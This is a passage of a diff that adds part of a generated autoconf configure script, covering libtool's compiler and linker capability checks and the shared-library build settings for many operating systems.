$lt_tmp_static_flag works... " >&6; } +if ${lt_cv_prog_compiler_static_works+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_prog_compiler_static_works=no + save_LDFLAGS="$LDFLAGS" + LDFLAGS="$LDFLAGS $lt_tmp_static_flag" + echo "$lt_simple_link_test_code" > conftest.$ac_ext + if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then + # The linker can only warn and ignore the option if not recognized + # So say no if there are warnings + if test -s conftest.err; then + # Append any errors to the config.log. + cat conftest.err 1>&5 + $ECHO "$_lt_linker_boilerplate" | $SED '/^$/d' > conftest.exp + $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 + if diff conftest.exp conftest.er2 >/dev/null; then + lt_cv_prog_compiler_static_works=yes + fi + else + lt_cv_prog_compiler_static_works=yes + fi + fi + $RM -r conftest* + LDFLAGS="$save_LDFLAGS" + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_static_works" >&5 +$as_echo "$lt_cv_prog_compiler_static_works" >&6; } + +if test x"$lt_cv_prog_compiler_static_works" = xyes; then + : +else + lt_prog_compiler_static= +fi + + + + + + + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5 +$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; } +if ${lt_cv_prog_compiler_c_o+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_prog_compiler_c_o=no + $RM -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + echo "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:$LINENO: $lt_compile\"" >&5) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s out/conftest2.$ac_objext + then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + $ECHO "$_lt_compiler_boilerplate" | $SED '/^$/d' > out/conftest.exp + $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2 + if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then + lt_cv_prog_compiler_c_o=yes + fi + fi + chmod u+w . 2>&5 + $RM conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $RM out/ii_files/* && rmdir out/ii_files + $RM out/* && rmdir out + cd .. + $RM -r conftest + $RM conftest* + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o" >&5 +$as_echo "$lt_cv_prog_compiler_c_o" >&6; } + + + + + + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5 +$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; } +if ${lt_cv_prog_compiler_c_o+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_prog_compiler_c_o=no + $RM -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + echo "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:$LINENO: $lt_compile\"" >&5) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s out/conftest2.$ac_objext + then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + $ECHO "$_lt_compiler_boilerplate" | $SED '/^$/d' > out/conftest.exp + $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2 + if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then + lt_cv_prog_compiler_c_o=yes + fi + fi + chmod u+w . 2>&5 + $RM conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $RM out/ii_files/* && rmdir out/ii_files + $RM out/* && rmdir out + cd .. + $RM -r conftest + $RM conftest* + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o" >&5 +$as_echo "$lt_cv_prog_compiler_c_o" >&6; } + + + + +hard_links="nottested" +if test "$lt_cv_prog_compiler_c_o" = no && test "$need_locks" != no; then + # do not overwrite the value of need_locks provided by the user + { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5 +$as_echo_n "checking if we can lock with hard links... " >&6; } + hard_links=yes + $RM conftest* + ln conftest.a conftest.b 2>/dev/null && hard_links=no + touch conftest.a + ln conftest.a conftest.b 2>&5 || hard_links=no + ln conftest.a conftest.b 2>/dev/null && hard_links=no + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5 +$as_echo "$hard_links" >&6; } + if test "$hard_links" = no; then + { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5 +$as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;} + need_locks=warn + fi +else + need_locks=no +fi + + + + + + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5 +$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; } + + runpath_var= + allow_undefined_flag= + always_export_symbols=no + archive_cmds= + archive_expsym_cmds= + compiler_needs_object=no + enable_shared_with_static_runtimes=no + export_dynamic_flag_spec= + export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + hardcode_automatic=no + hardcode_direct=no + hardcode_direct_absolute=no + hardcode_libdir_flag_spec= + hardcode_libdir_separator= + hardcode_minus_L=no + hardcode_shlibpath_var=unsupported + inherit_rpath=no + link_all_deplibs=unknown + module_cmds= + module_expsym_cmds= + old_archive_from_new_cmds= + old_archive_from_expsyms_cmds= + thread_safe_flag_spec= + whole_archive_flag_spec= + # include_expsyms should be a list of space-separated symbols to be *always* + # included in the symbol list + include_expsyms= + # exclude_expsyms can be an extended regexp of symbols to exclude + # it will be wrapped by ` (' and `)$', so one must not match beginning or + # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc', + # as well as any symbol that contains `d'. + exclude_expsyms='_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*' + # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out + # platforms (ab)use it in PIC code, but their linkers get confused if + # the symbol is explicitly referenced. Since portable code cannot + # rely on this symbol name, it's probably fine to never include it in + # preloaded symbol tables. + # Exclude shared library initialization/finalization symbols. + extract_expsyms_cmds= + + case $host_os in + cygwin* | mingw* | pw32* | cegcc*) + # FIXME: the MSVC++ port hasn't been tested in a loooong time + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + if test "$GCC" != yes; then + with_gnu_ld=no + fi + ;; + interix*) + # we just hope/assume this is gcc and not c89 (= MSVC++) + with_gnu_ld=yes + ;; + openbsd*) + with_gnu_ld=no + ;; + esac + + ld_shlibs=yes + + # On some targets, GNU ld is compatible enough with the native linker + # that we're better off using the native interface for both. + lt_use_gnu_ld_interface=no + if test "$with_gnu_ld" = yes; then + case $host_os in + aix*) + # The AIX port of GNU ld has always aspired to compatibility + # with the native linker. However, as the warning in the GNU ld + # block says, versions before 2.19.5* couldn't really create working + # shared libraries, regardless of the interface used. + case `$LD -v 2>&1` in + *\ \(GNU\ Binutils\)\ 2.19.5*) ;; + *\ \(GNU\ Binutils\)\ 2.[2-9]*) ;; + *\ \(GNU\ Binutils\)\ [3-9]*) ;; + *) + lt_use_gnu_ld_interface=yes + ;; + esac + ;; + *) + lt_use_gnu_ld_interface=yes + ;; + esac + fi + + if test "$lt_use_gnu_ld_interface" = yes; then + # If archive_cmds runs LD, not CC, wlarc should be empty + wlarc='${wl}' + + # Set some defaults for GNU ld with shared library support. These + # are reset later if shared libraries are not supported. Putting them + # here allows them to be overridden if necessary. + runpath_var=LD_RUN_PATH + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + export_dynamic_flag_spec='${wl}--export-dynamic' + # ancient GNU ld didn't support --whole-archive et. al. + if $LD --help 2>&1 | $GREP 'no-whole-archive' > /dev/null; then + whole_archive_flag_spec="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + else + whole_archive_flag_spec= + fi + supports_anon_versioning=no + case `$LD -v 2>&1` in + *GNU\ gold*) supports_anon_versioning=yes ;; + *\ [01].* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11 + *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ... + *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ... + *\ 2.11.*) ;; # other 2.11 versions + *) supports_anon_versioning=yes ;; + esac + + # See if GNU ld supports shared libraries. + case $host_os in + aix[3-9]*) + # On AIX/PPC, the GNU linker is very broken + if test "$host_cpu" != ia64; then + ld_shlibs=no + cat <<_LT_EOF 1>&2 + +*** Warning: the GNU linker, at least up to release 2.19, is reported +*** to be unable to reliably create shared libraries on AIX. +*** Therefore, libtool is disabling shared libraries support. If you +*** really care for shared libraries, you may want to install binutils +*** 2.20 or above, or modify your PATH so that a non-GNU linker is found. +*** You will then need to restart the configuration process. + +_LT_EOF + fi + ;; + + amigaos*) + case $host_cpu in + powerpc) + # see comment about AmigaOS4 .so support + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds='' + ;; + m68k) + archive_cmds='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + ;; + esac + ;; + + beos*) + if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then + allow_undefined_flag=unsupported + # Joseph Beckenbach says some releases of gcc + # support --undefined. This deserves some investigation. FIXME + archive_cmds='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + else + ld_shlibs=no + fi + ;; + + cygwin* | mingw* | pw32* | cegcc*) + # _LT_TAGVAR(hardcode_libdir_flag_spec, ) is actually meaningless, + # as there is no search path for DLLs. + hardcode_libdir_flag_spec='-L$libdir' + export_dynamic_flag_spec='${wl}--export-all-symbols' + allow_undefined_flag=unsupported + always_export_symbols=no + enable_shared_with_static_runtimes=yes + export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols' + exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname' + + if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' + # If the export-symbols file already is a .def file (1st line + # is EXPORTS), use it as is; otherwise, prepend... + archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' + else + ld_shlibs=no + fi + ;; + + haiku*) + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + link_all_deplibs=yes + ;; + + interix[3-9]*) + hardcode_direct=no + hardcode_shlibpath_var=no + hardcode_libdir_flag_spec='${wl}-rpath,$libdir' + export_dynamic_flag_spec='${wl}-E' + # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc. + # Instead, shared libraries are loaded at an image base (0x10000000 by + # default) and relocated if they conflict, which is a slow very memory + # consuming and fragmenting process. To avoid this, we pick a random, + # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link + # time. Moving up from 0x10000000 also allows more sbrk(2) space. + archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' + archive_expsym_cmds='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' + ;; + + gnu* | linux* | tpf* | k*bsd*-gnu | kopensolaris*-gnu) + tmp_diet=no + if test "$host_os" = linux-dietlibc; then + case $cc_basename in + diet\ *) tmp_diet=yes;; # linux-dietlibc with static linking (!diet-dyn) + esac + fi + if $LD --help 2>&1 | $EGREP ': supported targets:.* elf' > /dev/null \ + && test "$tmp_diet" = no + then + tmp_addflag=' $pic_flag' + tmp_sharedflag='-shared' + case $cc_basename,$host_cpu in + pgcc*) # Portland Group C compiler + whole_archive_flag_spec='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; func_echo_all \"$new_convenience\"` ${wl}--no-whole-archive' + tmp_addflag=' $pic_flag' + ;; + pgf77* | pgf90* | pgf95* | pgfortran*) + # Portland Group f77 and f90 compilers + whole_archive_flag_spec='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; func_echo_all \"$new_convenience\"` ${wl}--no-whole-archive' + tmp_addflag=' $pic_flag -Mnomain' ;; + ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64 + tmp_addflag=' -i_dynamic' ;; + efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64 + tmp_addflag=' -i_dynamic -nofor_main' ;; + ifc* | ifort*) # Intel Fortran compiler + tmp_addflag=' -nofor_main' ;; + lf95*) # Lahey Fortran 8.1 + whole_archive_flag_spec= + tmp_sharedflag='--shared' ;; + xl[cC]* | bgxl[cC]* | mpixl[cC]*) # IBM XL C 8.0 on PPC (deal with xlf below) + tmp_sharedflag='-qmkshrobj' + tmp_addflag= ;; + nvcc*) # Cuda Compiler Driver 2.2 + whole_archive_flag_spec='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; func_echo_all \"$new_convenience\"` ${wl}--no-whole-archive' + compiler_needs_object=yes + ;; + esac + case `$CC -V 2>&1 | sed 5q` in + *Sun\ C*) # Sun C 5.9 + whole_archive_flag_spec='${wl}--whole-archive`new_convenience=; for conv in $convenience\"\"; do test -z \"$conv\" || new_convenience=\"$new_convenience,$conv\"; done; func_echo_all \"$new_convenience\"` ${wl}--no-whole-archive' + compiler_needs_object=yes + tmp_sharedflag='-G' ;; + *Sun\ F*) # Sun Fortran 8.3 + tmp_sharedflag='-G' ;; + esac + archive_cmds='$CC '"$tmp_sharedflag""$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + + if test "x$supports_anon_versioning" = xyes; then + archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~ + cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ + echo "local: *; };" >> $output_objdir/$libname.ver~ + $CC '"$tmp_sharedflag""$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' + fi + + case $cc_basename in + xlf* | bgf* | bgxlf* | mpixlf*) + # IBM XL Fortran 10.1 on PPC cannot create shared libs itself + whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive' + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib' + if test "x$supports_anon_versioning" = xyes; then + archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~ + cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ + echo "local: *; };" >> $output_objdir/$libname.ver~ + $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib' + fi + ;; + esac + else + ld_shlibs=no + fi + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then + archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib' + wlarc= + else + archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + fi + ;; + + solaris*) + if $LD -v 2>&1 | $GREP 'BFD 2\.8' > /dev/null; then + ld_shlibs=no + cat <<_LT_EOF 1>&2 + +*** Warning: The releases 2.8.* of the GNU linker cannot reliably +*** create shared libraries on Solaris systems. Therefore, libtool +*** is disabling shared libraries support. We urge you to upgrade GNU +*** binutils to release 2.9.1 or newer. Another option is to modify +*** your PATH or compiler configuration so that the native linker is +*** used, and then restart. + +_LT_EOF + elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then + archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs=no + fi + ;; + + sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*) + case `$LD -v 2>&1` in + *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*) + ld_shlibs=no + cat <<_LT_EOF 1>&2 + +*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not +*** reliably create shared libraries on SCO systems. Therefore, libtool +*** is disabling shared libraries support. We urge you to upgrade GNU +*** binutils to release 2.16.91.0.3 or newer. Another option is to modify +*** your PATH or compiler configuration so that the native linker is +*** used, and then restart. + +_LT_EOF + ;; + *) + # For security reasons, it is highly recommended that you always + # use absolute paths for naming shared libraries, and exclude the + # DT_RUNPATH tag from executables and libraries. But doing so + # requires that you compile everything twice, which is a pain. + if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs=no + fi + ;; + esac + ;; + + sunos4*) + archive_cmds='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags' + wlarc= + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + *) + if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then + archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs=no + fi + ;; + esac + + if test "$ld_shlibs" = no; then + runpath_var= + hardcode_libdir_flag_spec= + export_dynamic_flag_spec= + whole_archive_flag_spec= + fi + else + # PORTME fill in a description of your system's linker (not GNU ld) + case $host_os in + aix3*) + allow_undefined_flag=unsupported + always_export_symbols=yes + archive_expsym_cmds='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' + # Note: this linker hardcodes the directories in LIBPATH if there + # are no directories specified by -L. + hardcode_minus_L=yes + if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then + # Neither direct hardcoding nor static linking is supported with a + # broken collect2. + hardcode_direct=unsupported + fi + ;; + + aix[4-9]*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag="" + else + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to AIX nm, but means don't demangle with GNU nm + # Also, AIX nm treats weak defined symbols like other global + # defined symbols, whereas GNU nm marks them as "W". + if $NM -V 2>&1 | $GREP 'GNU' > /dev/null; then + export_symbols_cmds='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B") || (\$ 2 == "W")) && (substr(\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols' + else + export_symbols_cmds='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && (substr(\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols' + fi + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[23]|aix4.[23].*|aix[5-9]*) + for ld_flag in $LDFLAGS; do + if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then + aix_use_runtimelinking=yes + break + fi + done + ;; + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + archive_cmds='' + hardcode_direct=yes + hardcode_direct_absolute=yes + hardcode_libdir_separator=':' + link_all_deplibs=yes + file_list_spec='${wl}-f,' + + if test "$GCC" = yes; then + case $host_os in aix4.[012]|aix4.[012].*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && + strings "$collect2name" | $GREP resolve_lib_name >/dev/null + then + # We have reworked collect2 + : + else + # We have old collect2 + hardcode_direct=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + hardcode_minus_L=yes + hardcode_libdir_flag_spec='-L$libdir' + hardcode_libdir_separator= + fi + ;; + esac + shared_flag='-shared' + if test "$aix_use_runtimelinking" = yes; then + shared_flag="$shared_flag "'${wl}-G' + fi + else + # not using gcc + if test "$host_cpu" = ia64; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test "$aix_use_runtimelinking" = yes; then + shared_flag='${wl}-G' + else + shared_flag='${wl}-bM:SRE' + fi + fi + fi + + export_dynamic_flag_spec='${wl}-bexpall' + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + always_export_symbols=yes + if test "$aix_use_runtimelinking" = yes; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + allow_undefined_flag='-berok' + # Determine the default libpath from the value encoded in an + # empty executable. + if test "${lt_cv_aix_libpath+set}" = set; then + aix_libpath=$lt_cv_aix_libpath +else + if ${lt_cv_aix_libpath_+:} false; then : + $as_echo_n "(cached) " >&6 +else + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO"; then : + + lt_aix_libpath_sed=' + /Import File Strings/,/^$/ { + /^0/ { + s/^0 *\([^ ]*\) *$/\1/ + p + } + }' + lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` + # Check for a 64-bit object if we didn't find anything. + if test -z "$lt_cv_aix_libpath_"; then + lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` + fi +fi +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext + if test -z "$lt_cv_aix_libpath_"; then + lt_cv_aix_libpath_="/usr/lib:/lib" + fi + +fi + + aix_libpath=$lt_cv_aix_libpath_ +fi + + hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath" + archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag" + else + if test "$host_cpu" = ia64; then + hardcode_libdir_flag_spec='${wl}-R $libdir:/usr/lib:/lib' + allow_undefined_flag="-z nodefs" + archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an + # empty executable. + if test "${lt_cv_aix_libpath+set}" = set; then + aix_libpath=$lt_cv_aix_libpath +else + if ${lt_cv_aix_libpath_+:} false; then : + $as_echo_n "(cached) " >&6 +else + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO"; then : + + lt_aix_libpath_sed=' + /Import File Strings/,/^$/ { + /^0/ { + s/^0 *\([^ ]*\) *$/\1/ + p + } + }' + lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` + # Check for a 64-bit object if we didn't find anything. + if test -z "$lt_cv_aix_libpath_"; then + lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` + fi +fi +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext + if test -z "$lt_cv_aix_libpath_"; then + lt_cv_aix_libpath_="/usr/lib:/lib" + fi + +fi + + aix_libpath=$lt_cv_aix_libpath_ +fi + + hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + no_undefined_flag=' ${wl}-bernotok' + allow_undefined_flag=' ${wl}-berok' + if test "$with_gnu_ld" = yes; then + # We only use this code for GNU lds that support --whole-archive. + whole_archive_flag_spec='${wl}--whole-archive$convenience ${wl}--no-whole-archive' + else + # Exported symbols can be pulled into shared objects from archives + whole_archive_flag_spec='$convenience' + fi + archive_cmds_need_lc=yes + # This is similar to how AIX traditionally builds its shared libraries. + archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' + fi + fi + ;; + + amigaos*) + case $host_cpu in + powerpc) + # see comment about AmigaOS4 .so support + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds='' + ;; + m68k) + archive_cmds='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + ;; + esac + ;; + + bsdi[45]*) + export_dynamic_flag_spec=-rdynamic + ;; + + cygwin* | mingw* | pw32* | cegcc*) + # When not using gcc, we currently assume that we are 